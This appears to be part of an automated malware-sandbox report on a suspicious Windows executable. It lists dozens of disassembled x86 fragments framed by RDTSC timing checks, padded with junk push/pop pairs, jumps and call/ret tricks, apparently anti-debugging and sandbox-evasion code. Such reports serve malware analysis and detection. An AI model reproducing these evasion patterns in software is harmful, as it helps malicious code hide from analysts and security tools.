Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AE4C6 second address: 14AE4E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F38E4FECF3Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B1AC6 second address: 14B1AD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B1AD7 second address: 14B1ADC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B49D1 second address: 14B49E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B59A1 second address: 14B59B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B59B1 second address: 14B59B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B4B82 second address: 14B4B98 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jnl 00007F38E4FECF36h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B59B7 second address: 14B59BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B4B98 second address: 14B4B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B59BB second address: 14B5A44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jns 00007F38E4FF50BEh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F38E4FF50B8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d pushad 0x0000002e mov dword ptr [ebp+122D1B52h], edi 0x00000034 mov dword ptr [ebp+122D2C4Eh], esi 0x0000003a popad 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D2967h] 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007F38E4FF50B8h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 00000014h 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f xchg eax, esi 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B693C second address: 14B6940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B6940 second address: 14B694A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B5BDC second address: 14B5BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B5BE0 second address: 14B5BF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B5BF3 second address: 14B5C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7A01 second address: 14B7AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F38E4FF50C0h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F38E4FF50B8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d or ebx, 7F275E17h 0x00000033 add dword ptr [ebp+122D18C1h], eax 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F38E4FF50B8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 jl 00007F38E4FF50B9h 0x0000005b movsx edi, bx 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F38E4FF50C8h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B5C0B second address: 14B5CD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F38E4FECF46h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F38E4FECF38h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c push dword ptr fs:[00000000h] 0x00000033 sub dword ptr [ebp+1245B475h], esi 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 xor di, 2D53h 0x00000045 mov eax, dword ptr [ebp+122D159Dh] 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007F38E4FECF38h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 mov ebx, dword ptr [ebp+122D29FBh] 0x0000006b push FFFFFFFFh 0x0000006d jne 00007F38E4FECF3Ch 0x00000073 nop 0x00000074 jmp 00007F38E4FECF45h 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c je 00007F38E4FECF3Ch 0x00000082 jo 00007F38E4FECF36h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B9C43 second address: 14B9C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBB24 second address: 14BBB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBB29 second address: 14BBB34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F38E4FF50B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBB34 second address: 14BBBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+124834B7h], edx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F38E4FECF38h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c and ebx, dword ptr [ebp+122D330Eh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F38E4FECF38h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e push eax 0x0000004f pushad 0x00000050 jno 00007F38E4FECF38h 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BCAD1 second address: 14BCAD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BCAD7 second address: 14BCAEA instructions: 0x00000000 rdtsc 0x00000002 js 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7BE1 second address: 14B7BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7CC6 second address: 14B7CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7CCA second address: 14B7CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7CCE second address: 14B7CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F38E4FECF36h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7CE2 second address: 14B7CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B7CE7 second address: 14B7CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BAB74 second address: 14BAB79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BAC36 second address: 14BAC5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F38E4FECF3Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14B6BEC second address: 14B6BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBDE4 second address: 14BBDE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBDE8 second address: 14BBDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BBDF2 second address: 14BBDF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14BDC8E second address: 14BDC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14C5A7A second address: 14C5AAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF46h 0x00000007 pushad 0x00000008 jmp 00007F38E4FECF3Eh 0x0000000d jmp 00007F38E4FECF3Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14C5D39 second address: 14C5D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F38E4FF50B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14C5D49 second address: 14C5D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14C5D50 second address: 14C5D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14C5D63 second address: 14C5D81 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F38E4FECF3Ah 0x00000017 pushad 0x00000018 popad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14CB7AD second address: 14CB7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007F38E4FF50BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14CB7BD second address: 14CB7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FECF3Dh 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f pushad 0x00000010 jmp 00007F38E4FECF43h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14CB7F3 second address: 14CB7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14CB9BB second address: 14CB9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14CB9BF second address: 14CB9FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jbe 00007F38E4FF50BAh 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F38E4FF50C2h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 jp 00007F38E4FF50BCh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D0A54 second address: 14D0A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D0A5A second address: 14D0A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D0A60 second address: 14D0A6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D0E5A second address: 14D0E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D0E5E second address: 14D0EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F38E4FECF40h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jc 00007F38E4FECF36h 0x00000016 jbe 00007F38E4FECF36h 0x0000001c jmp 00007F38E4FECF47h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F38E4FECF41h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D5C95 second address: 14D5C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D5E35 second address: 14D5E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FECF3Dh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FECF46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D691B second address: 14D691F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D691F second address: 14D692B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D692B second address: 14D6934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D6A8B second address: 14D6AAC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F38E4FECF38h 0x00000008 pushad 0x00000009 jmp 00007F38E4FECF44h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D6F4A second address: 14D6F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14D5835 second address: 14D5839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DAE27 second address: 14DAE34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F38E4FF50B6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DC554 second address: 14DC55C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DC55C second address: 14DC562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DC562 second address: 14DC566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14DC566 second address: 14DC576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E0ACC second address: 14E0AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF42h 0x00000009 jmp 00007F38E4FECF44h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14E0AF6 second address: 14E0AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A381E second address: 14A384D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dx, AB36h 0x00000011 lea eax, dword ptr [ebp+12487562h] 0x00000017 mov ch, bh 0x00000019 nop 0x0000001a jmp 00007F38E4FECF3Eh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A384D second address: 14A3857 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A3857 second address: 14A385D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A385D second address: 148D5F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D3213h], edx 0x0000000f call dword ptr [ebp+122D18ECh] 0x00000015 push edx 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A3D98 second address: 14A3D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4324 second address: 14A43A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FF50BBh 0x00000009 popad 0x0000000a jmp 00007F38E4FF50C7h 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F38E4FF50B8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b jno 00007F38E4FF50BCh 0x00000031 push 00000004h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F38E4FF50B8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d mov dword ptr [ebp+122D2404h], esi 0x00000053 nop 0x00000054 push ebx 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4854 second address: 14A4858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4858 second address: 14A4866 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A4866 second address: 14A486A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
